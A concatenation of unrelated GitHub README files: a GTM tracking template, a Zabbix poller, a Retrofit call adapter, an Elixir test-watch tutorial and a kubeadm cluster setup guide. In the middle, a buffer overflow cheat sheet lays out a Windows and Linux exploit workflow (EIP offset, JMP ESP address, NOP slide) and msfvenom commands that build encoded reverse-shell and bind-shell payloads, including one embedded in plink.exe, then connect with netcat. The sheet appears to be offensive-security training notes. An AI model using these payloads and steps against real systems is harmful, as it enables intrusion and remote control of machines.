Bug reports and pull requests are welcome on GitHub at https://github.com/schesnowitz/nanoboxifier. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [Contributor Covenant](http://contributor-covenant.org) code of conduct.

## License

The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).

## Code of Conduct

Everyone interacting in the nanoboxifier project’s codebases, issue trackers, chat rooms and mailing lists is expected to follow the [code of conduct](https://github.com/schesnowitz/nanoboxifier/blob/master/CODE_OF_CONDUCT.md).

repository: schesnowitz/nanoboxifier

repo_name: schesnowitz/nanoboxifier


text:
# iConvert GTM Template

## Core Tracking

This GTM template provides easy install of the iConvert software via Google Tag Manager.

Users of this template must provide a unique site id provided to them within their iConvert dashboard and also have access to a unique player id / reference when a player is logged in as a GTM variable.

repository: iconvert-mk/gtm-core-tracking

gha_language: Smarty

repo_name: iconvert-mk/gtm-core-tracking


text:
# Buffer Overflows

### Windows Buffer Overflows

#### Controlling EIP

```bash
locate pattern_create
pattern_create.rb -l 2700
locate pattern_offset
pattern_offset.rb -q 39694438
```

#### Verify exact location of EIP

\[\*\] Exact match at offset 2606

```bash
buffer = "A" \* 2606 + "B" \* 4 + "C" \* 90
```

#### Check for “Bad Characters”

-Run multiple times 0x00 - 0xFF -Use Mona to determine a module that is unprotected -Bypass DEP if present by finding a Memory Location with Read and Execute access for JMP ESP

#### Use NASM to determine the HEX code for a JMP ESP instruction

```bash
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

JMP ESP
00000000 FFE4 jmp esp
```

#### Run Mona in immunity log window to find \(FFE4\) XEF command

```text
!mona find -s "\xff\xe4" -m slmfc.dll
found at 0x5f4a358f - Flip around for little endian format
buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390
```

#### MSFVenom to create payload

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"
```

Final Payload with NOP slide

```bash
buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode
```

Create a PE Reverse Shell

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
exe -o shell_reverse.exe
```

Create a PE Reverse Shell and Encode 9 times with Shikata\_ga\_nai

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f
exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe
```

Create a PE reverse shell and embed it into an existing executable

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
```

Create a PE Reverse HTTPS shell

```bash
msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o met_https_reverse.exe
```

### Linux Buffer Overflows

#### Run Evans Debugger against an app

```bash
edb --run /usr/games/crossfire/bin/crossfire
```

#### ESP register points toward the end of our CBuffer

```bash
add eax,12
jmp eax
83C00C add eax,byte +0xc
FFE0 jmp eax
```

#### Check for “Bad Characters” Process of elimination

Run multiple times 0x00 - 0xFF

```bash
Find JMP ESP address
"\x97\x45\x13\x08" # Found at Address 08134597

crash = "\x41" * 4368 + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai
```

#### Connect to the shell with netcat:

```bash
nc -v $ip 4444
```


text:
ClusterTop
==========
ClusterTop was created as a way to pull data from zabbix and push it into other systems.
The original use case was to push data from zabbix into graphite to leverage some of the nicer graphite dashboards.
However it has been designed (for the most part) to be pretty much independent of graphite.

Architecture
============
Clustertop is built around the idea of pollers. A poller grabs data from zabbix and in turn pushes it somewhere else.
The base system comes with two pollers. clustertop.pollers.Poller and clustertop.pollers.GraphitePoller. To write your own
poller you simply make a subclass of clustertop.pollers.Poller and write a poll_complete method.

Future Plans
============
Write now there are two bits of code that are very specific to my use case. Those are the bootstrap system and the tasseo
dashboard export system. Eventually these will go away, or be turned into something generic. I also want to change how
pollers work a little bit. Write now you can't mix and match existing pollers to create something new. I want to eventually
create a mixin style system of extending pollers.

repository: rossdylan/clustertop

repo_name: rossdylan/clustertop


text:
Retrofit2 Priority Call Adapter
========================
A Retrofit 2 `CallAdapter.Factory` for [PriorityBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/PriorityBlockingQueue.html).

Usage
-----
Add `PriorityBlockCallAdapterFactory` as a `Call` adapter when building your `Retrofit` instance:
```kotlin
val retrofit = Retrofit.Builder()
    .baseUrl("https://api.github.com/")
	.addConverterFactory(ScalarsConverterFactory.create())
	.addConverterFactory(GsonConverterFactory.create())
     // can only run single one task at the same time order by priority
     .addCallAdapterFactory(PriorityBlockCallAdapterFactory.create())
     // can  run  5 tasks at the same time  order by priority
     //.addCallAdapterFactory(PriorityBlockCallAdapterFactory.create(5))
    .build()
```
Your service methods can now use `PriorityBlockCall` as their return type.

```kotlin
interface MyService {

   @Priority(
        value = TaskPriority.PRIORITY_MIDDLE,//the priority of this call
        description = "getContributors"
    )
    @GET("repos/{owner}/{repo}/contributors")
    fun contributors(
        @Path("owner") owner: String?,
        @Path("repo") repo: String?
    ): PriorityBlockCall<String?>

   @GET("repos/{owner}/{repo}/contributors")
    fun contributors2(
        @Path("owner") owner: String?,
        @Path("repo") repo: String?
    ): PriorityBlockCall<String?>

}

retrofit.create(MyService::class.java)
        .contributors("square", "retrofit")
        .enqueueBlockCall(
                onResponse = { call: Call<String?>?, response: Response<String?> ->
                  //do something on success callback

                },
                onFailure = { call: Call<String?>?, t: Throwable ->
                  //do something on failure callback
                }
            )

retrofit.create(MyService::class.java)
        .contributors2("square", "retrofit")
        .enqueueBlockCall(
		        TaskPriority.PRIORITY_HIGH,//set the priority at call site
                onResponse = { call: Call<String?>?, response: Response<String?> ->
                  //do something on success callback

                },
                onFailure = { call: Call<String?>?, t: Throwable ->
                  //do something on failure callback
                }
            )

  val response = retrofit.create(SampleApi::class.java)
            .contributors2("square", "retrofit")
            //  Synchronously send the request and return its response.
            .executeBlockCall(TaskPriority.PRIORITY_HIGH)
```

Download
--------
the latest version  [ ![Download](https://api.bintray.com/packages/iwillow/maven/retrofit2-priority-call-adapter/images/download.svg) ](https://bintray.com/iwillow/maven/retrofit2-priority-call-adapter/_latestVersion)
Gradle
```groovy
buildscript {
 repositories {
    google()
    jcenter()
  }
}
allprojects {
    repositories {
    google()
    jcenter()
  }
}
dependencies {
   implementation 'com.iwillow:retrofit2-priority-call-adapter:0.0.8'
}
```
License
=======

    Copyright 2020 iwillow<EMAIL_ADDRESS>
    Licensed under the Apache License, Version 2.0 (the "License");
    you may not use this file except in compliance with the License.
    You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

    Unless required by applicable law or agreed to in writing, software
    distributed under the License is distributed on an "AS IS" BASIS,
    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    See the License for the specific language governing permissions and
    limitations under the License.


text:
# Continuous Testing with Elixir
### Dec 2, 2015

There is great power in having your tests always run, all the time when writing code, it stops the minor interruptions.

First, let’s start a new Elixir app. If you are new to elixir then first check out the many resources to get started. I also published a very small example on GitHub, if you prefer to look at code than read articles.

```
$ mix new my_app
```

Then add a dependency to mix_test_watch in your mix.exs.

If you are running Elixir 1.4 (or later)

```
defp deps do
  [{:mix_test_watch, "~> 0.3", only: :dev, runtime: false}]
end
```

Or, for Elixir 1.3 (or earlier)

```
defp deps do
  [{:mix_test_watch, "~> 0.3", only: :dev}]
end
```

Grab all dependencies

```
$ mix deps.get
```

You might want to clear your terminal on each test run, you can do this my adding the following line to the ./config/config.exs file.

```
if Mix.env == :dev do
  config :mix_test_watch,
    clear: true
end
```

If you are within a Phoenix application, you might encounter the following dependency issue:

```
Failed to use "fs" (versions 0.9.1 and 0.9.2) because
    mix_test_watch (versions 0.3.0 to 0.3.3) requires ~> 2.12
    phoenix_live_reload (version 1.0.8) requires ~> 0.9.1
```

Then forcibly update your phoenix_live_reload with

```
mix do deps.update phoenix_live_reload deps.get
```

And now launch your watcher

```
$ mix test.watch
```

If you see the following error

```
[error] backend port not found: :inotifywait
```

Then you need to install inotify, which on Ubuntu can be installed using

```
sudo apt-get install inotify-tools
```

Now you can try again,

```
$ mix test.watch
```

Your project will now automatically compile and re-run all tests on save. The output should look similar to the following

```
==> fs (compile)
Compiled src/fs_event_bridge.erl
Compiled src/fs_server.erl
Compiled src/sys/fsevents.erl
Compiled src/sys/inotifywait_win32.erl
Compiled src/fs_sup.erl
Compiled src/fs_app.erl
Compiled src/sys/inotifywait.erl
Compiled src/fs.erl
==> mix_test_watch
Compiled lib/mix_test_watch/paths.ex
Compiled lib/mix/tasks/test/watch.ex
Generated mix_test_watch app
Running tests...
Setting up watches. Beware: since -r was given, this may take a while!
Watches established.
==> fs (compile)
==> mix_test_watch
Compiled lib/mix_test_watch/paths.ex
Compiled lib/mix/tasks/test/watch.ex
Generated mix_test_watch app
==> my_app
Compiled lib/my_app.ex
Generated my_app app
.
Finished in 0.05 seconds (0.05s on load, 0.00s on tests)
1 test, 0 failures
Randomized with seed 474092
```

Now let’s add a new test. Open up your new project in your favourite elixir editor and add a new test. For example, let’s see if two wrongs make a right (vi ./test/my_app_test.exs).

```
defmodule MyAppTest do
  use ExUnit.Case
  doctest MyApp
  test “the truth” do
    assert 1 + 1 == 2
  end
  test “checking what two wrongs make” do
    assert (false && false) == true
  end
end
```

If we now look at our terminal, we should see the failure

```
Running tests...
1) test another truth (MyAppTest)
 test/my_app_test.exs:9
 Assertion with == failed
 code: (false && false) == true
 lhs: false
 rhs: true
 stacktrace:
 test/my_app_test.exs:10
.
Finished in 0.07 seconds (0.07s on load, 0.00s on tests)
2 tests, 1 failure
Randomized with seed 807654
```

Turns out two wrongs don’t make a right. Let’s update the test.

```
defmodule MyAppTest do
  use ExUnit.Case
  doctest MyApp
  test “the truth” do
    assert 1 + 1 == 2
  end
  test “checking what two wrongs make” do
    assert (false && false) == false
  end
end
```

And now we are back to 100% test passing (all without having to leave our editor).

```
Running tests...
..
Finished in 0.04 seconds (0.04s on load, 0.00s on tests)
2 tests, 0 failures
Randomized with seed 386800
```

When running tests that require a database, you might run into an issue where your test database is not properly created before the tests are run.

```
[error] Postgrex.Protocol (#PID<0.221.0>) failed to connect:
** (Postgrex.Error) FATAL 3D000 (invalid_catalog_name):
database "myapp_test" does not exist
```

The suggested approach is to create an alias in your mix.exs file, like

```
def aliases() do
    ["test": ["ecto.drop --quiet", "ecto.create --quiet",
              "ecto.migrate", "test"]]
end
```

Unfortunately, for test.watch you will probably observe the following error

```
** (Mix) The database for MyApp.Repo couldn't be dropped:
ERROR 55006 (object_in_use): database "myapp_test"
is being accessed by other users

There are 99 other sessions using the database.
```

To get around this, consider changing your alias to

```
def aliases() do
    ["test.once": ["ecto.drop --quiet",
                   "ecto.create --quiet",
                   "ecto.migrate", "test"]]
end
```

You will still need to run mix test.once every time your database schema changes, but hopefully that is not too often.

If you prefer living dangerously, then consider using a fork of the project with additional features to help avoid those issues above.

```
if Mix.env == :dev do
  config :mix_test_watch,
    ansi_enabled: :ignore,
    clear: true
end
```

With the above your test alias (the one that you might have changed to test.once will now work every time.

If you would prefer to just run the database setup when you first start mix test.watch then leave thetest.once alias alone, and instead configure :mix_test_watch with a :setup_tasksas follows (which will only be run once upon start up.

```
if Mix.env == :dev do
  config :mix_test_watch,
    setup_tasks: [
      "ecto.drop --quiet",
      "ecto.create --quiet",
      "ecto.migrate",
    ],
    ansi_enabled: :ignore,
    clear: true
end
```

There are two pull requests against the the original project [PR#70 and PR#71], so check to see if they have been merged and available in the official release.

To learn more about the practice of continuous, consider picking up this great (albeit now out of print) book Continuous Testing with Ruby, Rails and Javascript

![Continuous Testing with Ruby](/10xdevelopers/assets/static/images/continuous-testing-with-elixir/continuous_testing_ruby.png?raw=true)


text:
# KubeAdm based kubernetes cluster - ubuntu 18.04

Reference documentation: [https://kubernetes.io/docs/setup/independent/install-kubeadm/](https://kubernetes.io/docs/setup/independent/install-kubeadm/)

Kubeadm helps you setup/bootstrap a minimum viable/usable Kubernetes cluster that just works. Kubeadm also supports cluster expansion, upgrades, downgrade, and managing bootstrap tokens, which are extra features, if you are comparing it with minikube.

A video showing kubeadm cluster setup, (in Urdu language), using this guide, is available at: [https://youtu.be/FRvkSlIUimM](https://youtu.be/FRvkSlIUimM)

## Setup / components / look and feel:
The Kubernetes cluster discussed in this guide is a virtual cluster, created using virtual machines.

### KubeAdm cluster overview:
| ![kubeadm-cluster-overview.png](kubeadm-cluster-overview.png) |
|:--:|
| *Cluster components overview of a kubeadm based cluster* |

### KubeAdm cluster networks:
| ![kubeadm-cluster-networks.png](kubeadm-cluster-networks.png) |
|:--:|
| *Cluster networks involved in a kubeadm based cluster* |

## Features and Limitations:
* Possible to create multi-node kubernetes cluster compared to minikube.
* It creates a single node master. No High Availability for master node available yet.
* You can create/join one or more **dedicated** worker-nodes.
* Being multi-node in nature, allows you to use multi-node features such as [advance scheduling policies](https://kubernetes.io/blog/2017/03/advanced-scheduling-in-kubernetes/).
* Services of type **LoadBalancer** still not possible - though you can use ingress!
* Choice of using different container engines, such as Docker, Rocket, etc. This is not possible in MiniKube.
* Choice of wide variety of (CNI-based) network plugins to be used for pod networking. This is not possible in MiniKube.
* Supports cluster expansion, upgrades, downgrade, etc.
* *Can* be used as a production cluster, though extreme caution is advised. You should know what you are doing!

In this guide, I will setup a single node kubernetes cluster using **kubeadm** and Docker-CE. Once installed, I will add more nodes to the cluster - again using **kubeadm**.

## Preparation:
* **RAM:** Minimum 1 GB RAM for each node (master+worker); you will only be able to run very few (and very small) containers, like nginx, mysql, etc.
* **CPU:** Minimum 2 CPU for master node; worker nodes can live with single core CPUs
* **Disk:** 4 GB for host OS + 20 GB for storing container images. (no swap)
* **Network - Infrastructure:** A functional virtual/physical network with some usable IP addresses (can be public or private) . This can be on any cloud provider as well. You are free to use any network / ip scheme for yourself. In this guide, it will be `<IP_ADDRESS>/24`
* **Network - Pod network:** A network IP range completely separate from other two networks, with subnet mask of `/16` or smaller (e.g. `/12`). This network will be subdivided into subnets later. In this guide it will be `<IP_ADDRESS>/16` . Please note that kubeadm does not support kubenet, so we need to use one of the CNI add-ons - such as flannel. By default Flannel sets up a pod network `<IP_ADDRESS>/16`, which means that we need to pass this pod network to `kubeadm init` (further below); or, modify the flannel configuration with the pod network of our own choice - before actually applying it blindly. :)
* **Network - Service network:** A network IP range completely separate from other two networks, used by the services. This will be considered a completely virtual network. The default service network configured by kubeadm is `<IP_ADDRESS>/12`. In this guide, it will be `<IP_ADDRESS>/16`.
* **Firewall:** Disable Firewall completely (including removing the firewalld package); or open the following ports on each type of node, after the OS installation is complete. The list below is for allowing traffic within the cluster infrastructure network. From outside the cluster network - .e.g from client network - you only need to allow port 6443 to the master node; and port 22 for all linux nodes (Master + Workers). You also need to allow port 80 and 443 to pass through the firewall towards your worker nodes. This actually depends on where your ingress controller will be running. If it will be run as daemon-set or deployment on the same cluster, then you need incoming 80/443 traffic to reach your nodes. If the ingress controller runs as a separate VM in the same k8s cluster, then you allow 22,80,443 towards the proxy/ingress-controller VM(s) only. The list below is for the traffic within the cluster infrastructure network.
* **Firewall/ports - Master:** Incoming open (22, 6443, 10250, 10251, 10252, 2379, 2380)
* **Firewall/ports - Workers:** Incoming open (22, 10250, 30000-32767)
* **OS:** Any recent version of Fedora/CentOS/RHEL or Debian based OS. This guide uses Ubuntu 18.04
* **Disk Partitioning:** No swap - must disable swap partition during OS installation in order for the kubelet to work properly. See: [https://github.com/kubernetes/kubernetes/issues/53533](https://github.com/kubernetes/kubernetes/issues/53533) for details on why disable swap. Swap may seem a good idea, it is not - on Kubernetes!  (`swapon -s` will give you the summary of swap devices)
* **SELinux:** Disable SELinux / App Armor.
* Should have some sort of DNS for infrastructure network.

## OS setup:

Have DNS or local name resolution setup correctly.
```
[root@kworkhorse lib]# cat /etc/hosts
<IP_ADDRESS>   localhost localhost.localdomain

 # Virtual Kubernetes cluster
<IP_ADDRESS>	kubeadm-node1
<IP_ADDRESS>	kubeadm-node2
<IP_ADDRESS>	kubeadm-node3
```

Disable Ubuntu firewall and app-armor:
Remember, this step is for test/development/learning. If you are using this guide for production, then please ensure that you have the right Firewall and AppArmor setup in place - depending on your requirements.

```
sudo ufw disable

service apparmor stop
service apparmor teardown
/usr/sbin/update-rc.d -f apparmor remove

dpkg -r apparmor libapparmor-perl libapparmor1
```

Verify that firewall and AppArmor are disabled:
```
sudo iptables -L
sudo aa-status
```

Enable the certain sysctl setting `net.bridge.bridge-nf-call-iptables`
```
cat <<EOF >  /etc/sysctl.d/k8s.conf
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
EOF
sysctl --system
```

### Install container runtime (Docker):
Reference: [https://kubernetes.io/docs/setup/cri/](https://kubernetes.io/docs/setup/cri/)
You can select other runtimes too, such as Rocket (rkt). I will use Docker.

**Note:** DO NOT install docker from default Ububtu apt repo, that is old version of Docker.

On all nodes (master+worker), install Docker.

Reference: [https://www.digitalocean.com/community/tutorials/how-to-install-and-use-docker-on-ubuntu-16-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-use-docker-on-ubuntu-16-04)

```
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
sudo apt-get update
apt-cache policy docker-ce

#Installing specific version of docker, because it is certified to work with kubeadm
sudo apt-get install -y docker-ce=18.06.1~ce~3-0~ubuntu

sudo apt-mark hold docker-ce
sudo systemctl status docker
```

### Install kubeadm, kubelet and kubectl:
On each node, install:
* kubeadm: the command to actually setup / bootstrap the cluster.
* kubelet: the component that runs on all of the machines in your cluster and does things like starting pods and containers.
* kubectl: the command line util to talk to your cluster.

All of the above three pieces of software are available from kubernetes's yum repository. So first, set that up:

```
#Add Google's apt repository gpg key
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -

#Add the Kubernetes apt repository
sudo bash -c 'cat <<EOF >/etc/apt/sources.list.d/kubernetes.list
deb https://apt.kubernetes.io/ kubernetes-xenial main
EOF'

#Install the required packages, if needed we can request a specific version
sudo apt-get update
sudo apt-get install -y kubelet kubeadm kubectl
sudo apt-mark hold kubelet kubeadm kubectl

systemctl enable kubelet && systemctl start kubelet
```

At this time `kubeadm` is only *installed* - not *run*. Note that kubelet is set to start. Kubelet will continuously try to start and will fail (crash-loop), because it will wait for kubeadm to tell it what to do. This crashloop is expected and normal. After you initialize your master (using kubeadm), the kubelet runs normally.

## Run kubeadm on node1/master to setup the cluster:

SSH to the master node (node1) - as root, and run `kubeadm init` command. Also make a note of entire output of the `kubeadm init` command. This will be useful later.

What `kubeadm init` does is, it goes through a series of phases, the first one being **pre-flight checks** , and last one being **installing add-ons**. These phases are shown in square brackets in the beginning of each line of the output generated by the `kubeadm init` command. Most notably, these phases are:

* Pull container images for kubernetes *control plane* (etcd, API server, Controller Manager, Scheduler)
* Setup kublet as systemd service
* Generate self signed SSL certificates for all kubernetes components
* Generate necessary kubeconfig files for components of the *control plane*, and the admin user, to be able to access API server with credentials, certificates, etc
* Create and deploy **static pod** definitions of the *control plane* components directly through **kubelet**. You will see (later) that etcd, api-server, controller-manager and scheduler are deployed as plain pods, without being part of any replication-controller, deployment, or daemon-set. These pods are setup using *host* networking.
* Create **kubelet** configuration as *config-map* in the **kube-system** namespace - as soon as the control plane boots up and reports healthy
* Mark the master as **master**  by adding labels and taints
* Create bootstrap tokens and RBAC rules so various components are able to access each other and do certain things, like automatic approval of CSRs, etc
* Install CoreDNS addon by creating it as a *deployment* - using *pod* networking
* Install kube-proxy addon by creating it as a *daemon-set* - using *host* networking

Complete detail of all these phases can be found here: [https://kubernetes.io/docs/reference/setup-tools/kubeadm/implementation-details/](https://kubernetes.io/docs/reference/setup-tools/kubeadm/implementation-details/)

OK, enough talk! Lets initialize kubeadm (on master node only)!

```
kubeadm init \
  --pod-network-cidr "<IP_ADDRESS>/16" \
  --service-cidr "<IP_ADDRESS>/16"
```

**Note:** You can skip `--pod-network-cidr` and `--service-cidr` . The default for pod-network is nothing- actually depends on the CNI plugin you will be using; but if you plan to use flannel, **and** want to use flannels *default configuration*, then you must pass `--pod-network-cidr "<IP_ADDRESS>/16"` to the `kubeadm init` command . The default for `--service-cidr` is: `<IP_ADDRESS>/12`.

```
[root@kubeadm-node1 ~]# kubeadm init  \
  --pod-network-cidr "<IP_ADDRESS>/16" \
  --service-cidr "<IP_ADDRESS>/16"
```

```
[root@kubeadm-node1 ~]# kubeadm init  \
  --pod-network-cidr "<IP_ADDRESS>/16" \
  --service-cidr "<IP_ADDRESS>/16" \
  --ignore-preflight-errors="SystemVerification"

[init] using Kubernetes version: v1.12.2
[preflight] running pre-flight checks
[preflight] The system verification failed. Printing the output from the verification:
KERNEL_VERSION: 4.18.17-200.fc28.x86_64
CONFIG_NAMESPACES: enabled
CONFIG_NET_NS: enabled
CONFIG_PID_NS: enabled
CONFIG_IPC_NS: enabled
CONFIG_UTS_NS: enabled
CONFIG_CGROUPS: enabled
CONFIG_CGROUP_CPUACCT: enabled
CONFIG_CGROUP_DEVICE: enabled
CONFIG_CGROUP_FREEZER: enabled
CONFIG_CGROUP_SCHED: enabled
CONFIG_CPUSETS: enabled
CONFIG_MEMCG: enabled
CONFIG_INET: enabled
CONFIG_EXT4_FS: enabled
CONFIG_PROC_FS: enabled
CONFIG_NETFILTER_XT_TARGET_REDIRECT: enabled (as module)
CONFIG_NETFILTER_XT_MATCH_COMMENT: enabled (as module)
CONFIG_OVERLAY_FS: enabled (as module)
CONFIG_AUFS_FS: not set - Required for aufs.
CONFIG_BLK_DEV_DM: enabled
DOCKER_VERSION: 18.06.1
OS: Linux
CGROUPS_CPU: enabled
CGROUPS_CPUACCT: enabled
CGROUPS_CPUSET: enabled
CGROUPS_DEVICES: enabled
CGROUPS_FREEZER: enabled
CGROUPS_MEMORY: enabled
[preflight/images] Pulling images required for setting up a Kubernetes cluster
[preflight/images] This might take a minute or two, depending on the speed of your internet connection
[preflight/images] You can also perform this action in beforehand using 'kubeadm config images pull'
[kubelet] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env"
[kubelet] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml"
[preflight] Activating the kubelet service
[certificates] Generated front-proxy-ca certificate and key.
[certificates] Generated front-proxy-client certificate and key.
[certificates] Generated etcd/ca certificate and key.
[certificates] Generated etcd/healthcheck-client certificate and key.
[certificates] Generated apiserver-etcd-client certificate and key.
[certificates] Generated etcd/server certificate and key.
[certificates] etcd/server serving cert is signed for DNS names [kubeadm-node1 localhost] and IPs [<IP_ADDRESS> ::1]
[certificates] Generated etcd/peer certificate and key.
[certificates] etcd/peer serving cert is signed for DNS names [kubeadm-node1 localhost] and IPs [<IP_ADDRESS> <IP_ADDRESS> ::1]
[certificates] Generated ca certificate and key.
[certificates] Generated apiserver-kubelet-client certificate and key.
[certificates] Generated apiserver certificate and key.
[certificates] apiserver serving cert is signed for DNS names [kubeadm-node1 kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local] and IPs [<IP_ADDRESS> <IP_ADDRESS>]
[certificates] valid certificates and keys now exist in "/etc/kubernetes/pki"
[certificates] Generated sa key and public key.
[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/admin.conf"
[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/kubelet.conf"
[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/controller-manager.conf"
[kubeconfig] Wrote KubeConfig file to disk: "/etc/kubernetes/scheduler.conf"
[controlplane] wrote Static Pod manifest for component kube-apiserver to "/etc/kubernetes/manifests/kube-apiserver.yaml"
[controlplane] wrote Static Pod manifest for component kube-controller-manager to "/etc/kubernetes/manifests/kube-controller-manager.yaml"
[controlplane] wrote Static Pod manifest for component kube-scheduler to "/etc/kubernetes/manifests/kube-scheduler.yaml"
[etcd] Wrote Static Pod manifest for a local etcd instance to "/etc/kubernetes/manifests/etcd.yaml"
[init] waiting for the kubelet to boot up the control plane as Static Pods from directory "/etc/kubernetes/manifests"
[init] this might take a minute or longer if the control plane images have to be pulled
[apiclient] All control plane components are healthy after 19.503878 seconds
[uploadconfig] storing the configuration used in ConfigMap "kubeadm-config" in the "kube-system" Namespace
[kubelet] Creating a ConfigMap "kubelet-config-1.12" in namespace kube-system with the configuration for the kubelets in the cluster
[markmaster] Marking the node kubeadm-node1 as master by adding the label "node-role.kubernetes.io/master=''"
[markmaster] Marking the node kubeadm-node1 as master by adding the taints [node-role.kubernetes.io/master:NoSchedule]
[patchnode] Uploading the CRI Socket information "/var/run/dockershim.sock" to the Node API object "kubeadm-node1" as an annotation
[bootstraptoken] using token: wmrvvj.3kmknfziy308ia0o
[bootstraptoken] configured RBAC rules to allow Node Bootstrap tokens to post CSRs in order for nodes to get long term certificate credentials
[bootstraptoken] configured RBAC rules to allow the csrapprover controller automatically approve CSRs from a Node Bootstrap Token
[bootstraptoken] configured RBAC rules to allow certificate rotation for all node client certificates in the cluster
[bootstraptoken] creating the "cluster-info" ConfigMap in the "kube-public" namespace
[addons] Applied essential addon: CoreDNS
[addons] Applied essential addon: kube-proxy

Your Kubernetes master has initialized successfully!

To start using your cluster, you need to run the following as a regular user:

  mkdir -p $HOME/.kube
  sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
  sudo chown $(id -u):$(id -g) $HOME/.kube/config

You should now deploy a pod network to the cluster.
Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:
  https://kubernetes.io/docs/concepts/cluster-administration/addons/

You can now join any number of machines by running the following on each node
as root:

  kubeadm join <IP_ADDRESS>:6443 --token wmrvvj.3kmknfziy308ia0o --discovery-token-ca-cert-hash sha256:0e659353306c04c46295868b407d4eae754d91de2e0f19a852eda7de17cbe3a5

[root@kubeadm-node1 ~]#
```

Now we setup the user `student` to use kubectl. This is part of the instructions in the `kubeadmin init` output above.

```
[root@kubeadm-node1 ~]# su - student

[student@kubeadm-node1 ~]$ mkdir -p $HOME/.kube

[student@kubeadm-node1 ~]$ sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for student:

[student@kubeadm-node1 ~]$ sudo chown $(id -u):$(id -g) $HOME/.kube -R
```

Check if you can talk to the cluster/API server:

```
[student@kubeadm-node1 ~]$ kubectl get componentstatuses
NAME                 STATUS    MESSAGE              ERROR
scheduler            Healthy   ok
controller-manager   Healthy   ok
etcd-0               Healthy   {"health": "true"}
[student@kubeadm-node1 ~]$

[student@kubeadm-node1 ~]$ kubectl get nodes
NAME            STATUS     ROLES    AGE   VERSION
kubeadm-node1   NotReady   master   12m   v1.12.2
[student@kubeadm-node1 ~]$
```

At least the cluster's components are ok!

# Install pod network:
At this time, if you check cluster health, you will see **Master** as **NotReady**. It is because a pod network is not yet deployed on the cluster. You must install a pod network add-on so that your pods can communicate with each other. Use one of the network addons listed in the Networking section at [https://kubernetes.io/docs/concepts/cluster-administration/addons/](https://kubernetes.io/docs/concepts/cluster-administration/addons/). Flannel is the easiest. Others can be used too.

**Important:** The network must be deployed before any applications. Also, CoreDNS will not start up before a network is installed. kubeadm only supports Container Network Interface (CNI) based networks (and does not support kubenet).

**Repeat: Kubeadm DOES NOT support kubenet**

## Install flannel CNI plugin/addon:
**Note:** For flannel to work correctly, you must pass `--pod-network-cidr=<IP_ADDRESS>/16` to `kubeadm init` ; or modify the kube-flannel.yaml to use your own pod network before applying tha yaml with `kubectl`.

Also, set `/proc/sys/net/bridge/bridge-nf-call-iptables` to `1` by running `sysctl net.bridge.bridge-nf-call-iptables=1` to pass bridged IPv4 traffic to iptables’ chains. This is a requirement for some CNI plugins to work. Setup this configuration in the `/etc/sysctl.conf` file to make this permanent.

Check [https://github.com/coreos/flannel/blob/master/Documentation/kubernetes.md](https://github.com/coreos/flannel/blob/master/Documentation/kubernetes.md) for more information about flannel.

Download the flannel.yaml file and adjust the pod network with the one we chose (<IP_ADDRESS>/16)

```
[student@kubeadm-node1 ~]$ wget kubectl https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml
--2018-11-11 22:05:05--  https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml

Saving to: ‘kube-flannel.yml’

2018-11-11 22:05:06 (234 KB/s) - ‘kube-flannel.yml’ saved [10599/10599]

[student@kubeadm-node1 ~]$ grep 10.244 kube-flannel.yml
      "Network": "<IP_ADDRESS>/16",
[student@kubeadm-node1 ~]$

[student@kubeadm-node1 ~]$ sed -i 's/10\.244/10\.200/g' kube-flannel.yml

[student@kubeadm-node1 ~]$ grep 10.244 kube-flannel.yml
(no output, means no-match, good!)

[student@kubeadm-node1 ~]$ grep 10.200 kube-flannel.yml
      "Network": "<IP_ADDRESS>/16",
[student@kubeadm-node1 ~]$

(good!)
```

Now, apply this yaml file to the cluster, so the pod network could come up. Flannel is setup as a *daemon-set* and uses *host* networking of the node.

```
[student@kubeadm-node1 ~]$ kubectl apply -f kube-flannel.yml
clusterrole.rbac.authorization.k8s.io/flannel created
clusterrolebinding.rbac.authorization.k8s.io/flannel created
serviceaccount/flannel created
configmap/kube-flannel-cfg created
daemonset.extensions/kube-flannel-ds-amd64 created
daemonset.extensions/kube-flannel-ds-arm64 created
